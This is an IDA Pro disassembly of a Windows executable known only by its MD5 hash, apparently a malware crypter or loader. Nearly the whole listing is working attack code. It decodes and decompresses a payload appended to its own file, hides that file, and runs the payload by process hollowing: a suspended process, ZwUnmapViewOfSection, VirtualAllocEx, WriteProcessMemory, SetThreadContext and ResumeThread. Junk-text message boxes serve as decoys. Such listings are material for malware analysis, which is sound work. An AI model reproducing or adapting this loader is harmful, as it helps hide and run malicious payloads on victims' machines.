; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : C98241E6B1AB427500E131C4EE757F74 ; File Name : u:\work\c98241e6b1ab427500e131c4ee757f74_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00006972 ( 26994.) ; Section size in file : 00006A00 ( 27136.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401791+B1p var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push edi mov edi, [ebp+arg_8] imul edi, 64h push edi ; Size call _malloc test eax, eax pop ecx mov [ebp+var_8], eax jz short loc_401085 push ebx push offset LibFileName ; "ntdll.dll" call ds:LoadLibraryA ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_401082 push esi mov esi, ds:GetProcAddress push offset ProcName ; "RtlDecompressBuffer" push ebx ; hModule call esi ; GetProcAddress push offset aRtlgetcompress ; "RtlGetCompressionWorkSpaceSize" push ebx ; hModule mov [ebp+var_4], eax call esi ; GetProcAddress cmp [ebp+arg_8], 0 pop esi jz short loc_401082 cmp [ebp+var_4], 0 jz short loc_401082 test eax, eax jz short loc_401082 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_10] push ecx push 2 call eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] push edi push [ebp+var_8] push 2 call [ebp+var_4] push ebx ; hLibModule call ds:FreeLibrary ; FreeLibrary mov eax, [ebp+var_8] jmp short loc_401084 ; --------------------------------------------------------------------------- loc_401082: ; CODE XREF: sub_401000+2Bj ; sub_401000+4Cj ... xor eax, eax loc_401084: ; CODE XREF: sub_401000+80j pop ebx loc_401085: ; CODE XREF: sub_401000+19j pop edi leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401088 proc near ; CODE XREF: sub_4010AD+5Bp ; sub_4010AD+B6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor eax, eax cmp [esp+arg_4], eax jle short locret_4010AC mov ecx, [esp+arg_0] mov edx, dword_40A5E4 add ecx, edx loc_40109C: ; CODE XREF: sub_401088+22j mov dl, [ecx+eax] mov byte_40A620[eax], dl inc eax cmp eax, [esp+arg_4] jl short loc_40109C locret_4010AC: ; CODE XREF: sub_401088+6j retn sub_401088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010AD proc near ; CODE XREF: WinMain(x,x,x,x)+71p var_13C = byte ptr -13Ch Dst = word ptr -5Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_16 = word ptr -16h var_8 = word ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 13Ch mov eax, dword_40A040 mov ecx, dword_40A5E4 push ebx push esi lea esi, [ecx+eax] mov bl, [esi] mov byte_40A5EC, bl mov cl, [esi+1] push edi mov edi, nNumberOfBytesToRead mov byte_40A61C, cl mov cl, [esi+2] neg byte_40A61C sub edi, eax neg bl neg cl cmp edi, 40h mov byte_40A5EC, bl mov byte_40A5E0, cl jb loc_4011AB add eax, 3 push 40h push eax call sub_401088 pop ecx pop ecx mov byte_40A660, 0 xor esi, esi loc_401118: ; CODE XREF: sub_4010AD+81j mov cl, byte_40A61C lea eax, dword_40A621[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, 40h jb short loc_401118 push 40h ; Size mov ebx, offset byte_40A620 lea eax, [ebp+Dst] push ebx ; Src push eax ; Dst call _memcpy add esp, 0Ch cmp [ebp+Dst], 5A4Dh jnz short loc_4011AB mov eax, [ebp+var_20] lea ecx, [eax+18h] cmp edi, ecx jb short loc_4011AB mov ecx, dword_40A040 lea eax, [ecx+eax+3] push 18h push eax call sub_401088 pop ecx pop ecx mov byte_40A638, 0 xor esi, esi loc_401173: ; CODE XREF: sub_4010AD+E2j mov cl, byte_40A5EC lea eax, dword_40A621[esi] add [eax-1], cl mov cl, byte_40A61C add [eax], cl inc esi inc esi cmp esi, 18h jb short loc_401173 push 18h ; Size lea eax, [ebp+var_1C] push ebx ; Src push eax ; Dst call _memcpy mov esi, 0E0h add esp, 0Ch cmp [ebp+var_8], si jz short loc_4011B2 loc_4011AB: ; CODE XREF: sub_4010AD+4Fj ; sub_4010AD+9Dj ... xor al, al jmp loc_401298 ; --------------------------------------------------------------------------- loc_4011B2: ; CODE XREF: sub_4010AD+FCj mov ecx, dword_40A040 mov eax, [ebp+var_20] lea eax, [ecx+eax+1Bh] push esi push eax call sub_401088 pop ecx pop ecx mov byte_40A700, 0 xor edi, edi loc_4011D1: ; CODE XREF: sub_4010AD+13Fj mov cl, byte_40A5EC lea eax, dword_40A621[edi] add [eax-1], cl mov cl, byte_40A61C add [eax], cl inc edi inc edi cmp edi, esi jb short loc_4011D1 push esi ; Size lea eax, [ebp+var_13C] push ebx ; Src push eax ; Dst call _memcpy movzx eax, [ebp+var_16] lea eax, [eax+eax*4] shl eax, 3 push eax ; dwBytes call ??2@YAPAXI@Z ; operator new(uint) movzx esi, [ebp+var_16] mov ecx, dword_40A040 mov [ebp+var_4], eax mov eax, [ebp+var_20] lea esi, [esi+esi*4] shl esi, 3 lea eax, [ecx+eax+0FBh] push esi push eax call sub_401088 add esp, 18h xor ecx, ecx test esi, esi mov byte_40A620[esi], 0 jbe short loc_40125D loc_401240: ; CODE XREF: sub_4010AD+1AEj mov dl, byte_40A5EC lea eax, dword_40A621[ecx] add [eax-1], dl mov dl, byte_40A61C add [eax], dl inc ecx inc ecx cmp ecx, esi jb short loc_401240 loc_40125D: ; CODE XREF: sub_4010AD+191j push esi ; Size push ebx ; Src push [ebp+var_4] ; Dst call _memcpy mov edi, [ebp+arg_0] mov eax, [ebp+arg_10] add esp, 0Ch push 10h pop ecx push 6 lea esi, [ebp+Dst] rep movsd mov edi, [ebp+arg_8] pop ecx lea esi, [ebp+var_1C] rep movsd mov edi, [ebp+arg_C] push 38h pop ecx lea esi, [ebp+var_13C] rep movsd mov ecx, [ebp+var_4] mov [eax], ecx mov al, 1 loc_401298: ; CODE XREF: sub_4010AD+100j pop edi pop esi pop ebx leave retn sub_4010AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40129D proc near ; CODE XREF: WinMain(x,x,x,x)+93p arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] mov ecx, [eax+3Ch] push esi mov esi, [eax+20h] xor edx, edx mov eax, ecx div esi test edx, edx jz short loc_4012BA lea ecx, [eax+1] imul ecx, esi loc_4012BA: ; CODE XREF: sub_40129D+15j mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_4012F4 push ebx mov ebx, [ebp+arg_C] push edi add ebx, 8 mov [ebp+arg_8], eax loc_4012D0: ; CODE XREF: sub_40129D+53j mov edi, [ebx] test edi, edi jz short loc_4012EA xor edx, edx mov eax, edi div esi test edx, edx jnz short loc_4012E4 add ecx, edi jmp short loc_4012EA ; --------------------------------------------------------------------------- loc_4012E4: ; CODE XREF: sub_40129D+41j inc eax imul eax, esi add ecx, eax loc_4012EA: ; CODE XREF: sub_40129D+37j ; sub_40129D+45j add ebx, 28h dec [ebp+arg_8] jnz short loc_4012D0 pop edi pop ebx loc_4012F4: ; CODE XREF: sub_40129D+26j mov eax, ecx pop esi pop ebp retn sub_40129D endp ; =============== S U B R O U T I N E ======================================= sub_4012F9 proc near ; CODE XREF: sub_401313+A9p ; sub_401313+12Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor edx, edx div [esp+arg_4] test edx, edx jnz short loc_40130C mov eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40130C: ; CODE XREF: sub_4012F9+Cj inc eax imul eax, [esp+arg_4] retn sub_4012F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401313(int, int, int, size_t Size, int, void *Dst) sub_401313 proc near ; CODE XREF: WinMain(x,x,x,x)+C1p arg_4 = dword ptr 0Ch Size = dword ptr 14h arg_10 = dword ptr 18h Dst = dword ptr 1Ch push ebp mov ebp, esp mov eax, dword_40A5E4 push ebx push esi mov esi, dword_40A040 add eax, esi mov bl, [eax] mov byte_40A5EC, bl mov cl, [eax+1] mov byte_40A61C, cl mov al, [eax+2] neg byte_40A61C neg al mov byte_40A5E0, al mov eax, [ebp+Size] neg bl mov byte_40A5EC, bl push edi mov edi, [eax+3Ch] mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_401374 mov ecx, [ebp+arg_10] add ecx, 14h loc_401366: ; CODE XREF: sub_401313+5Fj mov edx, [ecx] cmp edx, edi jnb short loc_40136E mov edi, edx loc_40136E: ; CODE XREF: sub_401313+57j add ecx, 28h dec eax jnz short loc_401366 loc_401374: ; CODE XREF: sub_401313+4Bj push edi add esi, 3 push esi call sub_401088 pop ecx xor esi, esi test edi, edi pop ecx mov byte_40A620[edi], 0 jbe short loc_4013A4 loc_40138D: ; CODE XREF: sub_401313+8Fj mov cl, byte_40A61C lea eax, dword_40A621[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, edi jb short loc_40138D loc_4013A4: ; CODE XREF: sub_401313+78j push edi ; Size push offset byte_40A620 ; Src push [ebp+Dst] ; Dst call _memcpy mov ebx, [ebp+Size] mov ecx, [ebx+20h] push ecx push dword ptr [ebx+3Ch] call sub_4012F9 mov edi, eax add edi, [ebp+Dst] mov eax, [ebp+arg_4] and [ebp+Dst], 0 add esp, 14h cmp word ptr [eax+6], 0 jbe loc_401472 mov esi, [ebp+arg_10] add esi, 8 loc_4013E1: ; CODE XREF: sub_401313+159j mov eax, [esi+8] test eax, eax jbe short loc_40144A mov [ebp+Size], eax mov eax, [esi] cmp [ebp+Size], eax jbe short loc_4013F5 mov [ebp+Size], eax loc_4013F5: ; CODE XREF: sub_401313+DDj mov eax, [esi+0Ch] mov ecx, dword_40A040 push [ebp+Size] lea eax, [eax+ecx+3] push eax call sub_401088 mov eax, [ebp+Size] pop ecx pop ecx xor ecx, ecx test eax, eax mov byte_40A620[eax], 0 jbe short loc_40142E loc_40141D: ; CODE XREF: sub_401313+119j mov dl, byte_40A5E0 add byte_40A620[ecx], dl inc ecx cmp ecx, eax jb short loc_40141D loc_40142E: ; CODE XREF: sub_401313+108j push eax ; Size push offset byte_40A620 ; Src push edi ; Dst call _memcpy mov ecx, [ebx+20h] push ecx push dword ptr [esi] call sub_4012F9 add esp, 14h jmp short loc_40145A ; --------------------------------------------------------------------------- loc_40144A: ; CODE XREF: sub_401313+D3j mov eax, [esi] test eax, eax jz short loc_40145C push ecx push eax call sub_4012F9 add esp, 8 loc_40145A: ; CODE XREF: sub_401313+135j add edi, eax loc_40145C: ; CODE XREF: sub_401313+13Bj mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] inc [ebp+Dst] add esi, 28h cmp [ebp+Dst], eax jl loc_4013E1 loc_401472: ; CODE XREF: sub_401313+C2j pop edi pop esi mov al, 1 pop ebx pop ebp retn sub_401313 endp ; =============== S U B R O U T I N E ======================================= sub_401479 proc near ; CODE XREF: sub_401616+BDp arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov ecx, [esp+arg_8] mov eax, [ecx+88h] test eax, eax jz short locret_4014E8 cmp dword ptr [ecx+8Ch], 0 jz short locret_4014E8 mov edx, [esp+arg_10] push esi mov esi, [esp+4+arg_14] sub esi, [ecx+1Ch] add eax, edx cmp dword ptr [eax+4], 0 jz short loc_4014E7 push ebx push edi loc_4014A6: ; CODE XREF: sub_401479+6Aj mov ecx, [eax+4] sub ecx, 8 shr ecx, 1 test ecx, ecx lea edi, [eax+8] jle short loc_4014DD mov ebx, ecx loc_4014B7: ; CODE XREF: sub_401479+62j xor edx, edx mov dx, [edi] mov ecx, edx and ecx, 0FFFh add ecx, [esp+0Ch+arg_10] and dx, 0F000h add ecx, [eax] cmp dx, 3000h jnz short loc_4014D8 add [ecx], esi loc_4014D8: ; CODE XREF: sub_401479+5Bj inc edi inc edi dec ebx jnz short loc_4014B7 loc_4014DD: ; CODE XREF: sub_401479+3Aj cmp dword ptr [edi+4], 0 mov eax, edi jnz short loc_4014A6 pop edi pop ebx loc_4014E7: ; CODE XREF: sub_401479+29j pop esi locret_4014E8: ; CODE XREF: sub_401479+Cj ; sub_401479+15j retn sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4014E9(int, HANDLE hProcess, LPCVOID lpAddress, SIZE_T dwLength) sub_4014E9 proc near ; CODE XREF: sub_40151F+BAp hProcess = dword ptr 8 lpAddress = dword ptr 0Ch dwLength = dword ptr 10h cmp [esp+dwLength], 845C4Bh jnz short loc_401507 push 5 ; uType push offset Caption ; lpCaption push offset Text ; "gredy 657y thntrfdg fdasjhfkjasdhfasdhf"... push 0 ; hWnd call ds:MessageBoxA ; MessageBoxA loc_401507: ; CODE XREF: sub_4014E9+8j push [esp+dwLength] ; dwLength push offset Buffer ; lpBuffer push [esp+8+lpAddress] ; lpAddress push [esp+0Ch+hProcess] ; hProcess call ds:VirtualQueryEx ; VirtualQueryEx retn sub_4014E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40151F(LPSTR lpCommandLine, LPPROCESS_INFORMATION lpProcessInformation, int, LPCONTEXT lpContext, LPVOID lpBuffer) sub_40151F proc near ; CODE XREF: WinMain(x,x,x,x)+DEp StartupInfo = _STARTUPINFOA ptr -48h NumberOfBytesRead= dword ptr -4 lpCommandLine = dword ptr 8 lpProcessInformation= dword ptr 0Ch lpContext = dword ptr 14h lpBuffer = dword ptr 18h push ebp mov ebp, esp sub esp, 48h push ebx push esi mov esi, [ebp+lpProcessInformation] push edi push 10h pop ecx xor ebx, ebx push esi ; lpProcessInformation xor eax, eax mov [ebp+StartupInfo.cb], ebx lea edi, [ebp+StartupInfo.lpReserved] rep stosd lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push ebx ; lpCurrentDirectory push ebx ; lpEnvironment push 4 ; dwCreationFlags push ebx ; bInheritHandles push ebx ; lpThreadAttributes push ebx ; lpProcessAttributes push [ebp+lpCommandLine] ; lpCommandLine push ebx ; lpApplicationName call ds:CreateProcessA ; CreateProcessA test eax, eax jz loc_4015F2 mov edi, [ebp+lpContext] push edi ; lpContext mov dword ptr [edi], 10007h push dword ptr [esi+4] ; hThread call ds:GetThreadContext ; GetThreadContext lea eax, [ebp+NumberOfBytesRead] push eax ; lpNumberOfBytesRead mov eax, [edi+0A4h] push 4 ; nSize push [ebp+lpBuffer] ; lpBuffer add eax, 8 push eax ; lpBaseAddress push dword ptr [esi] ; hProcess call ds:ReadProcessMemory ; ReadProcessMemory mov eax, [ebp+lpBuffer] mov edi, [eax] jmp short loc_4015D3 ; --------------------------------------------------------------------------- loc_40158D: ; CODE XREF: sub_40151F+C4j cmp edi, 87B9Ch jnz short loc_4015A7 push ebx ; uType push offset aFSkldfDsuiyfds ; "f SKLDF DSUIYFDSFGjhfsdjhhbfjHBJGSJHDGF"... push offset aGasdfgfdasgf78 ; " gasdfgfdasgf78asd78 f6 *^&*^ &*^&*^FSD"... push ebx ; hWnd call ds:MessageBoxA ; MessageBoxA loc_4015A7: ; CODE XREF: sub_40151F+74j cmp Buffer.State, 10000h jz short loc_4015E5 add edi, Buffer.RegionSize cmp edi, 77AA32h jnz short loc_4015D3 push ebx ; uType push offset aKjh@kjH@iuhiuf ; "#KJH@KJ%H#@IUHIUFYBSDUIYFSHGEJRFGEWRYT&"... push offset aHgfjhgdjghsjdh ; "hgfjhgdjghsjdhkgfjewiorioeiop()*WURQIOW"... push ebx ; hWnd call ds:MessageBoxA ; MessageBoxA loc_4015D3: ; CODE XREF: sub_40151F+6Cj ; sub_40151F+A0j push 1Ch ; dwLength push edi ; lpAddress push dword ptr [esi] ; hProcess push ebx ; int call sub_4014E9 add esp, 10h test eax, eax jnz short loc_40158D loc_4015E5: ; CODE XREF: sub_40151F+92j mov eax, [ebp+lpBuffer] sub edi, [eax] mov [eax+4], edi xor eax, eax inc eax jmp short loc_4015F4 ; --------------------------------------------------------------------------- loc_4015F2: ; CODE XREF: sub_40151F+33j xor eax, eax loc_4015F4: ; CODE XREF: sub_40151F+D1j pop edi pop esi pop ebx leave retn sub_40151F endp ; =============== S U B R O U T I N E ======================================= sub_4015F9 proc near ; CODE XREF: sub_401616+83p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp dword ptr [eax+88h], 0 jz short loc_401613 cmp dword ptr [eax+8Ch], 0 jz short loc_401613 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_401613: ; CODE XREF: sub_4015F9+Bj ; sub_4015F9+14j xor eax, eax retn sub_4015F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401616 proc near ; CODE XREF: WinMain(x,x,x,x)+13Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch flOldProtect = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h hProcess = dword ptr 28h arg_24 = dword ptr 2Ch arg_30 = dword ptr 38h arg_D4 = dword ptr 0DCh arg_E0 = dword ptr 0E8h lpAddress = dword ptr 304h dwSize = dword ptr 308h push ebp mov ebp, esp mov eax, [ebp+lpAddress] push ebx mov ebx, [ebp+flOldProtect] cmp [ebx+1Ch], eax push esi mov esi, ds:VirtualAllocEx push edi mov edi, 3000h jnz short loc_401658 mov ecx, [ebp+dwSize] cmp [ebp+arg_18], ecx ja short loc_401658 lea edx, [ebp+flOldProtect] push edx ; lpflOldProtect push 40h ; flNewProtect push ecx ; dwSize push eax ; lpAddress push [ebp+hProcess] ; hProcess mov dword_444640, eax call ds:VirtualProtectEx ; VirtualProtectEx jmp short loc_40168F ; --------------------------------------------------------------------------- loc_401658: ; CODE XREF: sub_401616+1Dj ; sub_401616+28j mov ecx, [ebp+hProcess] push eax push ecx mov dword_40A618, ecx mov dword_444630, eax call dword_444644 ; ZwUnmapViewOfSection test eax, eax jnz short loc_401676 mov byte ptr [ebp+flOldProtect+3], 1 loc_401676: ; CODE XREF: sub_401616+5Aj cmp byte ptr [ebp+flOldProtect+3], 1 jnz short loc_40168F push 40h ; flProtect push edi ; flAllocationType push [ebp+arg_18] ; dwSize push dword ptr [ebx+1Ch] ; lpAddress push [ebp+hProcess] ; hProcess call esi ; VirtualAllocEx mov dword_444640, eax loc_40168F: ; CODE XREF: sub_401616+40j ; sub_401616+64j cmp dword_444640, 0 jnz short loc_4016E8 push ebx call sub_4015F9 add esp, 4 test eax, eax jz loc_401776 push 40h ; flProtect push edi ; flAllocationType push [ebp+arg_18] ; dwSize push 0 ; lpAddress push [ebp+hProcess] ; hProcess call esi ; VirtualAllocEx test eax, eax mov dword_444640, eax jz loc_401776 push 0 push eax push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_401479 add esp, 1Ch cmp dword_444640, 0 jz loc_401776 loc_4016E8: ; CODE XREF: sub_401616+80j mov esi, [ebp+arg_D4] push offset aWriteprocessme ; "WriteProcessMemory" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress push 0 push 4 push offset dword_444640 add esi, 8 push esi mov esi, [ebp+hProcess] push esi call eax mov eax, [ebp+arg_0] mov eax, [eax+3Ch] mov ecx, dword_444640 mov edx, [ebp+arg_14] mov [eax+edx+34h], ecx mov eax, dword_444640 cmp eax, [ebp+lpAddress] mov [ebp+arg_30], 10007h jnz short loc_40174D mov eax, [ebx+10h] add eax, [ebx+1Ch] mov [ebp+arg_E0], eax jmp short loc_401758 ; --------------------------------------------------------------------------- loc_40174D: ; CODE XREF: sub_401616+127j mov ecx, [ebx+10h] add ecx, eax mov [ebp+arg_E0], ecx loc_401758: ; CODE XREF: sub_401616+135j mov eax, [ebp+arg_24] lea ecx, [ebp+arg_30] push ecx push eax mov dword_444634, esi mov hThread, eax call dword_444648 ; SetThreadContext xor eax, eax inc eax jmp short loc_401778 ; --------------------------------------------------------------------------- loc_401776: ; CODE XREF: sub_401616+8Dj ; sub_401616+A7j ... xor eax, eax loc_401778: ; CODE XREF: sub_401616+15Ej pop edi pop esi pop ebx pop ebp retn sub_401616 endp ; =============== S U B R O U T I N E ======================================= sub_40177D proc near ; CODE XREF: WinMain(x,x,x,x)+16Ep push hThread ; hThread mov byte_444638, 1 call ds:ResumeThread ; ResumeThread retn sub_40177D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401791(int, LPCSTR lpFileName) sub_401791 proc near ; CODE XREF: WinMain(x,x,x,x)+29p NumberOfBytesRead= dword ptr -4 lpFileName = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push ebx ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 1 ; dwShareMode push 80000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName call ds:CreateFileA ; CreateFileA push ebx ; lpFileSizeHigh push eax ; hFile mov hFile, eax call ds:GetFileSize ; GetFileSize mov nNumberOfBytesToRead, eax inc eax push eax ; Size call _malloc pop ecx push ebx ; lpOverlapped lea ecx, [ebp+NumberOfBytesRead] push ecx ; lpNumberOfBytesRead push nNumberOfBytesToRead ; nNumberOfBytesToRead mov dword_40A5E4, eax push eax ; lpBuffer push hFile ; hFile call ds:ReadFile ; ReadFile mov eax, [ebp+NumberOfBytesRead] sub eax, dword_40A040 inc eax push eax ; Size call _malloc mov esi, eax mov eax, [ebp+NumberOfBytesRead] pop ecx mov ecx, dword_40A040 xor edx, edx sub eax, ecx jz short loc_401828 loc_40180B: ; CODE XREF: sub_401791+95j mov eax, dword_40A5E4 add ecx, eax mov al, [ecx+edx] mov [edx+esi], al mov eax, [ebp+NumberOfBytesRead] mov ecx, dword_40A040 inc edx sub eax, ecx cmp edx, eax jb short loc_40180B loc_401828: ; CODE XREF: sub_401791+78j mov eax, esi sub eax, ecx mov ecx, [ebp+NumberOfBytesRead] mov [eax+ecx], bl lea eax, [ebp+NumberOfBytesRead] push eax mov eax, [ebp+NumberOfBytesRead] sub eax, dword_40A040 push eax push ebx push esi call sub_401000 add esp, 10h pop esi mov dword_40A040, ebx mov dword_40A5E4, eax pop ebx leave retn sub_401791 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+186p Context = CONTEXT ptr -52Ch flOldProtect = dword ptr -260h FileName = byte ptr -180h var_80 = dword ptr -80h ProcessInformation= _PROCESS_INFORMATION ptr -40h var_30 = dword ptr -30h Buffer = dword ptr -18h dwSize = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 52Ch push ebx push esi push edi push 100h ; nSize lea eax, [ebp+FileName] push eax ; lpFilename xor ebx, ebx push ebx ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA lea eax, [ebp+FileName] push eax ; lpFileName push ebx ; int call sub_401791 pop ecx pop ecx push 6 ; dwFileAttributes lea eax, [ebp+FileName] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA mov esi, ds:GetModuleHandleA push offset aVirtualalloc ; "VirtualAlloc" push offset ModuleName ; "kernel32.dll" call esi ; GetModuleHandleA mov edi, ds:GetProcAddress push eax ; hModule call edi ; GetProcAddress mov [ebp+var_4], eax lea eax, [ebp+var_8] push eax lea eax, [ebp+flOldProtect] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_80] push ebx push eax call sub_4010AD add esp, 14h test al, al jz loc_4019CE push [ebp+var_8] lea eax, [ebp+flOldProtect] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_80] push eax call sub_40129D add esp, 10h push 40h push 1000h push eax push ebx mov [ebp+var_C], eax call [ebp+var_4] push eax ; Dst push [ebp+var_8] ; int mov [ebp+var_4], eax lea eax, [ebp+flOldProtect] push eax ; Size push ebx ; int lea eax, [ebp+var_30] push eax ; int lea eax, [ebp+var_80] push eax ; int call sub_401313 push ebx lea eax, [ebp+Buffer] push eax ; lpBuffer lea eax, [ebp+Context] push eax ; lpContext push ebx ; int lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+FileName] push eax ; lpCommandLine call sub_40151F add esp, 30h push offset aWriteprocessme ; "WriteProcessMemory" push offset ModuleName ; "kernel32.dll" call esi ; GetModuleHandleA push eax ; hModule call edi ; GetProcAddress push [ebp+dwSize] ; dwSize mov [ebp+var_10], eax push [ebp+Buffer] ; lpAddress mov ecx, 0B3h sub esp, 2CCh mov edi, esp sub esp, 10h lea esi, [ebp+Context] rep movsd mov edi, esp lea eax, [ebp+FileName] push eax ; int push [ebp+var_C] ; int lea esi, [ebp+ProcessInformation] push [ebp+var_4] ; int movsd push [ebp+var_8] ; int movsd lea eax, [ebp+flOldProtect] push eax ; flOldProtect push ebx ; int lea eax, [ebp+var_30] movsd push eax ; int lea eax, [ebp+var_80] push eax ; int movsd call sub_401616 add esp, 304h push ebx push [ebp+var_C] push [ebp+var_4] push dword_444640 push dword_444634 call [ebp+var_10] test eax, eax setnz al mov byte_444638, al push [ebp+var_C] push ebx call sub_40177D pop ecx pop ecx loc_4019CE: ; CODE XREF: WinMain(x,x,x,x)+7Bj pop edi pop esi xor eax, eax pop ebx leave retn 10h _WinMain@16 endp ; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_44464C mov dword_44464C, ecx retn ; [0000001E BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; --------------------------------------------------------------------------- _fast_error_exit: cmp dword_44465C, 1 jnz short loc_401E47 call __FF_MSGBANNER loc_401E47: ; CODE XREF: .text:00401E40j push dword ptr [esp+4] call __NMSG_WRITE push 0FFh call unknown_libname_1 ; Microsoft VisualC 2-8/net runtime ; --------------------------------------------------------------------------- db 59h ; Y db 59h ; Y db 0C3h ; Ã ; --------------------------------------------------------------------------- _check_managed_app: push 0 call ds:GetModuleHandleA ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_401E8B mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_401E8B movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_401EA1 cmp eax, 20Bh jz short loc_401E8E loc_401E8B: ; CODE XREF: .text:00401E6Aj ; .text:00401E77j xor eax, eax retn ; --------------------------------------------------------------------------- loc_401E8E: ; CODE XREF: .text:00401E89j xor eax, eax cmp dword ptr [ecx+84h], 0Eh jbe short locret_401EB2 cmp [ecx+0F8h], eax jmp short loc_401EAF ; --------------------------------------------------------------------------- loc_401EA1: ; CODE XREF: .text:00401E82j xor eax, eax cmp dword ptr [ecx+74h], 0Eh jbe short locret_401EB2 cmp [ecx+0E8h], eax loc_401EAF: ; CODE XREF: .text:00401E9Fj setnz al locret_401EB2: ; CODE XREF: .text:00401E97j ; .text:00401EA7j retn ; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: 